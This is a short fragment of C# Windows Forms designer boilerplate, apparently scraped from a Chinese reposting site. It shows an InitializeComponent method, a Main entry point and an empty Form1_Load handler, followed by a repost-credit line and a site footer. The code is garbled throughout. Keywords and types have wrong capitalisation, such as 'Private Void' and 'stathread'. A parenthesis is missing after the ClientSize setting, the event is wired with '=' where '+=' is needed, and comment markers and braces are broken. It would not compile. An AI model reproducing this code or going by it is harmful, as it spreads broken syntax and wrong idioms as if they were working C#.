/// Designer Supports the required method - Do not use the code editor to modify the // / this method. /// private void initializecomponent () {/// form1 // this.autoscalebasesize = new system.drawing.size (6, 14); this.clientsize = new system.drawing.size (292, 266 This.name = "form1"; this.text = "form1"; this.load = new system.eventhandler (this.form1_load);

} #Endregion

///

/// The primary entry point of the application. /// [stathread] static void main () {Application.run (new form1 ());}

Private Void Form1_Load (Object Sender, System.Eventargs E) {}}}

转载请注明原文地址:https://www.9cbs.com/read-77911.html

9cbs

New Post(0)